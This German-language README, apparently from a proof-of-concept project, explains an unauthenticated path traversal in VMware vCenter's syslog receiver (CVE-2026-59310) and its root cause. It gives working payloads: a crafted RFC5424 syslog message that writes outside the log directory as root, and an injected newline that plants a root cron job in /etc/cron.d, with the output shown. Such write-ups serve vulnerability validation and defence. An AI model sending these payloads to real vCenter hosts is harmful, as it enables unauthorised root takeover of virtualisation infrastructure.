CVE-2026-59310 — VMware vCenter Syslog-Verzeichnisdurchquerung führt zu unautorisierter RCE

Haftungsausschluss: Dieses Projekt dient ausschließlich autorisierten Sicherheitstests, Schwachstellenvalidierungen und Verteidigungsforschung. Bitte verwenden Sie es nur in Umgebungen, für die eine ausdrückliche schriftliche Genehmigung vorliegt. Die Nutzer tragen selbst die volle Verantwortung für alle Konsequenzen, die sich aus einem Missbrauch ergeben.

Schwachstellenübersicht

Element	Inhalt
Name der Schwachstelle	VMware vCenter Syslog-Verzeichnisdurchquerung
Schwachstellen-ID	CVE-2026-59310
Art der Schwachstelle	Verzeichnisdurchquerung (Path Traversal) → beliebiges Dateischreiben → Remote-Codeausführung
CVSS 3.1	9.8 (Critical)
Voraussetzung für Ausnutzung	Nur ein erreichbarer syslog-Port (standardmäßig UDP/TCP 514) erforderlich, keinerlei Anmeldedaten nötig
Folge der Ausnutzung	Schreiben in beliebige Pfade und Ausführen beliebigen Codes mit root-Rechten
Veröffentlichungsdatum	2026-07-29
Ausnutzung in freier Wildbahn	Bereits beobachtet
Herstellerhinweis	VMSA-2026-0006

Der in vCenter integrierte syslog-Empfangsdienst (rsyslog) verwendet dynamische Pfadvorlagen zum Speichern von Protokollen. Die Vorlage fügt die Felder APP-NAME und HOSTNAME aus dem Nachrichtenkopf direkt in den Dateipfad ein, ohne eine Pfadbereinigung durchzuführen. Ein Angreifer kann durch Senden speziell präparierter Nachrichten an einen erreichbaren syslog-Port erreichen, dass der Schreibpfad das vorgesehene Protokollverzeichnis verlässt, und in Kombination mit geplanten Aufgaben beliebigen Code ausführen.

vCenter ist das zentrale Verwaltungssystem für Virtualisierung. Ein Kompromittieren bedeutet den Verlust der gesamten vSphere-/VCF-Umgebung.

Betroffene Versionen

Betroffene Versionen (unterhalb der folgenden korrigierten Versionen)

Zweig	Betroffener Bereich	Korrigierte Version
9.1	< 9.1.0.0300	9.1.0.0300
9.0	< 9.0.2.0100	9.0.2.0100 (Build 25629525)
8.0 U3	< 8.0 U3k	8.0 U3k
8.0 U2	< 8.0 U2f	8.0 U2f
8.0 Erstversion / U1	Alle	Upgrade auf 8.0 U3k oder höher gemäß unterstütztem Pfad
7.0	Ohne entsprechenden Extended-Support-Patch	Broadcom für Patch kontaktieren oder auf unterstützte Version migrieren

Ebenfalls betroffen: eigenständig bereitgestellte vCenter-Instanzen sowie betroffene vCenter-Komponenten in VMware Cloud Foundation, VMware vSphere Foundation und VMware Telco Cloud.

Validierte Umgebung: VMware vCenter Server 9.0.2.0 / Build 25148086, älter als die korrigierte Version 25629525, eindeutig im ungepatchten Zustand.

Ursache der Schwachstelle

1. Dynamische Pfadvorlage fügt nicht vertrauenswürdige Felder direkt zusammen

/etc/rsyslog.conf (VMware-Werkskonfiguration):

29: $template defaultLoc,     "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc,         "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"

%app-name% wird gleichzeitig als Verzeichnisname und Dateiname verwendet, ohne Pfadbereinigung.

2. Selektor zu locker

63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt

Es wird lediglich ein Präfixabgleich verlangt. Ein Angreifer kann mit rsyslog/... diese Regel treffen und in die dynamische Pfadvorlage gelangen.

3. Zeilenumbruch-Durchdringung (Schlüssel zur RCE)

24: $EscapeControlCharactersOnReceive off

Zeilenumbrüche im Nachrichteninhalt werden unverändert auf die Festplatte geschrieben, wodurch der Angreifer die Zeilenstruktur der geschriebenen Datei kontrollieren kann.

4. Zentraler Umgehungspunkt: inkonsistentes Verhalten der RFC3164- und RFC5424-Parser

Dies ist der am leichtesten übersehene Punkt dieser Schwachstelle.

RFC3164 (pmrfc3164): Bei der Analyse des Hostnamens wird eine Zeichen-Whitelist verwendet; / ist standardmäßig nicht zugelassen, wodurch APP-NAME bei / abgeschnitten wird → keine Durchquerung möglich.
RFC5424 (pmrfc5424): APP-NAME ist ein eigenständiges, durch Leerzeichen getrenntes Feld und unterliegt keiner Zeichen-Whitelist-Prüfung; / und .. bleiben unverändert erhalten → Durchquerung möglich.

Der serverseitige input(type="imudp" port="514") verwendet das Standard-Regelset und akzeptiert gleichzeitig RFC5424-Nachrichten. Ein Angreifer muss die Nachricht nur im RFC5424-Format verfassen, damit die Durchquerungszeichen direkt in den Dateipfad gelangen.

Vergleich in der Praxis (gleiche Nutzlast rsyslog/../../../../tmp/x):

Parser	Tatsächlicher Wert von `%app-name%`
pmrfc3164	`rsyslog` ← abgeschnitten bei `/`
pmrfc5424	`rsyslog/../../../../tmp/x` ← vollständig erhalten

Indizienbeweis: Ein reines .. wird als wörtlicher Verzeichnisname angelegt (z. B. rsyslog..), was zeigt, dass die omfile-Schicht von rsyslog keine ..-Normalisierung durchführt; entscheidend für Erfolg oder Misserfolg ist, ob der Parser / in das Feld gelangen lässt.

Ausnutzungskette

① Unauthentifiziertes UDP-Paket  →  ② RFC5424 APP-NAME trägt Durchquerung  →  ③ Entkommen aus dem Protokollverzeichnis, beliebiges Schreiben (root)
                                                          ↓
                     ⑤ root-Codeausführung  ←  ④ Platzierung einer geplanten Aufgabe in /etc/cron.d

Schritte ①②③: Unauthentifiziertes beliebiges Dateischreiben (root)

<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello

Eingesetzt in die Vorlage:

Verzeichnis = /var/log/vmware/rsyslog/../../../../tmp/PWNED  →  /tmp/PWNED
Datei       = wie oben + "-syslog.log"                       →  /tmp/PWNED-syslog.log

Ergebnis: Schreiben von /tmp/PWNED-syslog.log mit root als Eigentümer; fehlende übergeordnete Verzeichnisse werden automatisch angelegt, der Inhalt ist vollständig kontrollierbar.

Schritte ④⑤: Vom Dateischreiben zur RCE

Der geschriebene Dateiname endet fest auf -syslog.log, sodass /etc/cron.d/xxx nicht direkt überschrieben werden kann. Mithilfe der Zeilenumbruch-Durchdringung kann jedoch im MSG ein Zeilenumbruch injiziert werden, sodass der kontrollierbare Inhalt ab Spalte 0 der Datei beginnt:

2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc    ← cron meldet "bad minute", wird ignoriert
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1'             ← wird als gültige cron-Zeile ausgeführt
#

crond führt dies mit root-Rechten aus, Ergebnis:

uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)

Alternative Ablagepfade

VAMI-Statikressourcenverzeichnis: Schreiben nach /opt/vmware/share/htdocs/ (lighttpd lauscht auf 5480), anschließend Abruf über https://<target>:5480/..., übereinstimmend mit der Beschreibung im Herstellerhinweis.
/var/spool/cron/root: In dieses Verzeichnis kann geschrieben werden, es wird jedoch eine Datei namens root selbst benötigt, was durch das Suffix -syslog.log eingeschränkt wird; daher ist /etc/cron.d/ direkter.

Beliebteste

CVE-2026-59310-POC